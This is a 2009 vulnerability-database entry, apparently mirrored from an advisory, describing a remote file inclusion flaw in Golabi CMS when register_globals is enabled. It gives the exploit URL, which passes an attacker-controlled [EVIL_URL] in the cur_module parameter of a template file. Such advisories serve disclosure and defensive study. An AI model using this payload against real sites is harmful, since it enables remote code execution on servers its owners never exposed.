Golabi CMS Remote File Inclusion Vulnerability

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1052151 漏洞类型
发布时间 2009-02-27 更新时间 2009-02-27
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2009020060
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
 --------------------------------------------------------------------------------
                 [wWw.CrazyAngel.iR]  -   [info-AT-CrazyAngel.iR]
--------------------------------------------------------------------------------

               [Golabi CMS Remote File Inclusion Vulnerability]

[+] Application Info:
    [*] Name:       Golabi CMS
    [*] Author:     R3dM0ve
    [*] HomePage:   http://golabicms.sourceforge.net/
    [*] Download:   http://downloads.sourceforge.net/golabicms/Golabi_1.0.zip?use_mirror=freefr

[+] Vulnerability Info:
    [*] Type:  Remote File Inclusion (RFI)
    [*] Requirement: register_globals [ON]
    [*] Risk:  High Critical
    [*] Bug Hunter: CrazyAngel
    [*] Details: Unhandled variable Inclusion in default template file results in RFI Vulnerability
    [*] Vul URL: [GOLABI_PATH]/templates/default/index_logged.php?main_loaded=1&cur_module=[EVIL_URL]




--------------------------------------------------------------------------------